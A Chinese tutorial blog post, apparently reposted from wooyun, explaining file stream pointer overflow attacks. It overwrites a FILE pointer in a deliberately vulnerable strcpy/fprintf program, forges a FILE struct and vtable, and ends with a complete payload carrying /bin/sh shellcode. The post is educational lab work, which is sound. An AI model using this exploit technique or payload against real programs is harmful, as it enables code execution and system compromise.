Head First FILE Stream Pointer Overflow
0x00 前言
哄完女票睡覺后,自己輾轉反側許久還是睡不著,干脆爬起來寫一下文件流指針(我這里簡稱 FSP)溢出攻擊的筆記。FSP 溢出和棧溢出同樣古老,但是 paper 卻很少,我翻遍 Google 只發現三四篇文章,都會附在最后的 Reference 里面,學習學習漲漲姿勢。
本文先講述 FSP 溢出攻擊的原理,以及邊構造邊利用的方式攻擊了一個示例程序。
另外,因為我接觸 pwnable 時間不久,經驗不足,基礎不牢,如果有錯誤的地方或理解失誤的地方還請指出。
0x01 介紹
許多種不安全的代碼組合可以造成 FSP 溢出,比較明顯的幾種組合方式是: strcpy() ,strcat() ,read() , .... 和 vfprintf(), fprintf(), fputc(), fputs() 的組合。
FSP 溢出攻擊通常是用戶輸入數據覆蓋了文件流指針,導致我們可控文件流指針指向的 FILE 結構體(FILE struct)。FILE 結構體具體定義可以看這里,在此不再贅述。
控制了文件流指針后,可以構造合法的 FILE 結構體,最終在系統跳轉至 _IO_file_jumps 的時候跳轉到我們控制的地址,以控制 eip。
這張圖是 FILE 結構體的構成圖。
圖片來源:https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/
下面分析一下一個常見的 FILE 結構體構成。
| 1 2 3 4 5 6 7 8 9 10 11 | gdb-peda$ x/40a stderr 0xf7fbb980: 0xfbad2086? 0x0 0x0 0x0 0xf7fbb990: 0x0 0x0 0x0 0x0 0xf7fbb9a0: 0x0 0x0 0x0 0x0 0xf7fbb9b0: 0x0 0xf7fbba20? 0x2 0x0 0xf7fbb9c0: 0xffffffff? 0x0 0xf7fbc8ac? 0xffffffff 0xf7fbb9d0: 0xffffffff? 0x0 0xf7fbbb60? 0x0 0xf7fbb9e0: 0x0 0x0 0x0 0x0 0xf7fbb9f0: 0x0 0x0 0x0 0x0 0xf7fbba00: 0x0 0x0 0x0 0x0 0xf7fbba10: 0x0 0xf7fbaa80 <_IO_file_jumps>? 0x0 0x0 | 
這是 stderr 的 FILE 結構體,_IO_file_jumps 的地址是 0xf7fbaa80。
| 1 2 3 4 5 6 7 | gdb-peda$ x/21a 0xf7fbaa80 0xf7fbaa80 <_IO_file_jumps>:??? 0x0 0x0 0xf7e86a70? 0xf7e873e0 0xf7fbaa90 <_IO_file_jumps+16>: 0xf7e871b0? 0xf7e884d0? 0xf7e89360? 0xf7e86670 0xf7fbaaa0 <_IO_file_jumps+32>: 0xf7e876c0? 0xf7e85d00? 0xf7e887a0? 0xf7e863a0 0xf7fbaab0 <_IO_file_jumps+48>: 0xf7e862b0? 0xf7e7a1e0? 0xf7e87610? 0xf7e85c00 0xf7fbaac0 <_IO_file_jumps+64>: 0xf7e87650? 0xf7e85c90? 0xf7e87690? 0xf7e89500 0xf7fbaad0 <_IO_file_jumps+80>: 0xf7e89510 | 
這就是 _IO_file_jumps 儲存的要跳轉到函數的地址了,比如:
| 1 2 | gdb-peda$ x/i 0xf7e86670 ???0xf7e86670 <_IO_file_xsputn>:??? sub??? esp,0x3c | 
這個地址就是函數 _IO_file_xsputn 的地址。
0x02 利用
大概聰明的你也應該想到利用方法了,我們能控制 FILE 指針的地址,那我們就可以自己構造一個假的 FILE struct,當然 _IO_file_jumps 也可以輕易的偽造。當各種文件處理函數跑到 _IO_file_jumps 尋找接下來該跳轉的地址的時候,去我們偽造的 _IO_file_jumps 尋找指針,那么我們就可以控制 eip 執行 shellcode 了。
首先我們看一個示例程序(from: http://repo.hackerzvoice.net/depot_ouah/fsp-overflows.txt):
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | /* ?* file stream pointer overflow vulnerable program.c ?* -killah ?*/ #include <stdio.h> #include <string.h> int main(int argc,char **argv) { ???FILE *test; ???char msg[]="no segfault yet\n"; ???char stage[1024]; ???if(argc<2) { ??????printf("usage : %s <argument>\n",argv[0]); ??????exit(-1); ???} ???test=fopen("temp","a"); ???strcpy(stage,argv[1]); ???fprintf(test,"%s",msg); ???exit(0); } | 
可以看到先用了 strcpy,再用了 fprintf,很經典的組合方式。
編譯:
| 1 | cc -o fsp fsp.c -m32 -zexecstack -fno-stack-protector | 
大概由于優化的原因,我這里 fprintf 被優化成了 fputs,不過沒差,一樣可以利用。
利用的第一步先尋找到溢出的偏移。
當我用r $(python -c "print 'a'*1041 + 'AAAA'")跑的時候,可以控制 ESI。
如圖,ESI 已經被控制成 0x41414141,那么這里就是我們控制的文件指針了。我們把整個文件結構體放在棧上, AAAA 的前面 160 個字節。AAAA 也改成指向文件指針開頭的地方。
| 1 2 3 4 5 6 | gdb-peda$ searchmem AAAA Searching for 'AAAA' in: None ranges Found 3 results, display max 3 items: [stack] : 0xffffd364 ("AAAAR\345td]V\376\367\257\213", <incomplete sequence \342>...) [stack] : 0xffffd78c ("AAAA") [stack] : 0xffffdd95 ("AAAA") | 
當前 AAAA 的地址為 0xffffd78c,減去 160 個字節后就是 0xffffd6ec。那么構造 payload:
| 1 | r $(python -c "print 'a'*881 + 'B'*160 + '\xec\xd6\xff\xff'") | 
報了新的錯?沒關系,take it easy,現在就開始構造 FILE struct 了。
我們知道 stderr 是一個標準的 FILE 結構體,那我們直接拿它的,在它的基礎上改成我們需要的就好了。
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | gdb-peda$ x/160bx stderr 0xf7fbb980: 0x86??? 0x20??? 0xad??? 0xfb??? 0x00??? 0x00??? 0x00??? 0x00 0xf7fbb988: 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00 0xf7fbb990: 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00 0xf7fbb998: 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00 0xf7fbb9a0: 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00 0xf7fbb9a8: 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00 0xf7fbb9b0: 0x00??? 0x00??? 0x00??? 0x00??? 0x20??? 0xba??? 0xfb??? 0xf7 0xf7fbb9b8: 0x02??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00 0xf7fbb9c0: 0xff??? 0xff??? 0xff??? 0xff??? 0x00??? 0x00??? 0x00??? 0x00 0xf7fbb9c8: 0xac??? 0xc8??? 0xfb??? 0xf7??? 0xff??? 0xff??? 0xff??? 0xff 0xf7fbb9d0: 0xff??? 0xff??? 0xff??? 0xff??? 0x00??? 0x00??? 0x00??? 0x00 0xf7fbb9d8: 0x60??? 0xbb??? 0xfb??? 0xf7??? 0x00??? 0x00??? 0x00??? 0x00 0xf7fbb9e0: 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00 0xf7fbb9e8: 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00 0xf7fbb9f0: 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00 0xf7fbb9f8: 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00 0xf7fbba00: 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00 0xf7fbba08: 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00 0xf7fbba10: 0x00??? 0x00??? 0x00??? 0x00??? 0x80??? 0xaa??? 0xfb??? 0xf7 0xf7fbba18: 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00??? 0x00 | 
經過處理后的到這么一長串:
| 1 | \x86\x20\xad\xfb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xba\xfb\xf7\x02\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\xac\xc8\xfb\xf7\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x60\xbb\xfb\xf7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\xaa\xfb\xf7\x00\x00\x00\x00\x00\x00\x00\x00 | 
但是我們知道,由于 strcpy 的緣故,并不能容忍 \x00 的存在,我們直接替換成 A 就好了,因為沒報錯..XD
| 1 | r "`python -c "print 'a'*881 + '\x86\x20\xad\xfbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x20\xba\xfb\xf7\x02AAAAAAA\xff\xff\xff\xffAAAA\xac\xc8\xfb\xf7\xff\xff\xff\xff\xff\xff\xff\xffAAAA\x60\xbb\xfb\xf7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80\xaa\xfb\xf7AAAAAAAA' + '\xec\xd6\xff\xff'"`" | 
拿去跑一下,看看有什么問題沒有。
快看快看,我們到了最后 call 的地方了。
也就是說,程序運行到要從 _IO_file_jumps 取出指針,然后跳轉了。但是遇到了一些小問題, eax 不符合預期。看一下上下文的匯編代碼。
| 1 2 3 4 5 6 7 | 0xf7e7b239 <fputs+153>: movzx? edx,BYTE PTR [esi+0x46] 0xf7e7b23d <fputs+157>: movsx? edx,dl 0xf7e7b240 <fputs+160>: mov??? eax,DWORD PTR [esi+edx*1+0x94] 0xf7e7b247 <fputs+167>: mov??? DWORD PTR [esp+0x8],edi 0xf7e7b24b <fputs+171>: mov??? DWORD PTR [esp+0x4],ebp 0xf7e7b24f <fputs+175>: mov??? DWORD PTR [esp],esi 0xf7e7b252 <fputs+178>: call?? DWORD PTR [eax+0x1c] | 
edx 是從 esi+0x46 處得來的一個字節的值,eax 是 esi+edx+0x94 處的值,最后 call eax+0x1c。
大體先看一下 esi+0x94 的樣子:
| 1 2 3 4 | gdb-peda$ x/10w $esi+0x94 0xffffd780: 0xf7fbaa80? 0x41414141? 0x41414141? 0xffffd6ec 0xffffd790: 0x08048500? 0x00000000? 0x00000000? 0xf7e2f4d3 0xffffd7a0: 0x00000002? 0xffffd834 | 
0xffffd6ec 是我們控制的 FILE 結構體的地址,剩下的兩處 0x41414141 正好可以用來寫一些值來控制 eax。當 edx 為 0x4~0x8 的時候,正好在這 8 個字節的 0x41 的范圍內。
我們讓 esi+0x46 處為 8,然后第二處 0x41414141 指向 FILE 結構體前面的一塊內存。
| 1 | r "`python -c "print 'a'*881 + '\x86\x20\xad\xfbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x20\xba\xfb\xf7\x02AAAAAAA\xff\xff\xff\xffAA\x08A\xac\xc8\xfb\xf7\xff\xff\xff\xff\xff\xff\xff\xffAAAA\x60\xbb\xfb\xf7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80\xaa\xfb\xf7AAAA\xae\xd6\xff\xff' + '\xec\xd6\xff\xff'"`" | 
我這里指向了 0xffffd63e 處,加上 0x1c 后(看上面匯編),為 0xffffd6ca。
已經可以控制 eip 了,我們修改一下 0xffffd6ca 處的地址,使其指向 0xffffd6cf,然后 0xffffd6ce-0xffffd6ec 這 30 個字節上放上 shellcode。注意 shellcode 應該正好為 30 個字節,不能多也不能少,少了的話用 \x90 補充(根據實際情況來就好了)。
最終 payload:
| 1 | r "`python -c "print 'a'*847 + '\xcf\xd6\xff\xff' + '\x90'*9 + '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80' + '\x86\x20\xad\xfbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x20\xba\xfb\xf7\x02AAAAAAA\xff\xff\xff\xffAA\x08A\xac\xc8\xfb\xf7\xff\xff\xff\xff\xff\xff\xff\xffAAAA\x60\xbb\xfb\xf7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80\xaa\xfb\xf7AAAA\xae\xd6\xff\xff' + '\xec\xd6\xff\xff'"`" | 
執行效果:
0x03 參考
- File Stream Pointer Overflows Paper
- abusing the FILE structure
- BUFFER OVERFLOW EXPLOITATION
原文地址:http://drops.wooyun.org/binary/12740
 
總結
以上是生活随笔為你收集整理的Head First FILE Stream Pointer Overflow的全部內容,希望文章能夠幫你解決所遇到的問題。
 
                            
                        - 上一篇: 64位Linux下的栈溢出
- 下一篇: Blind Return Oriente
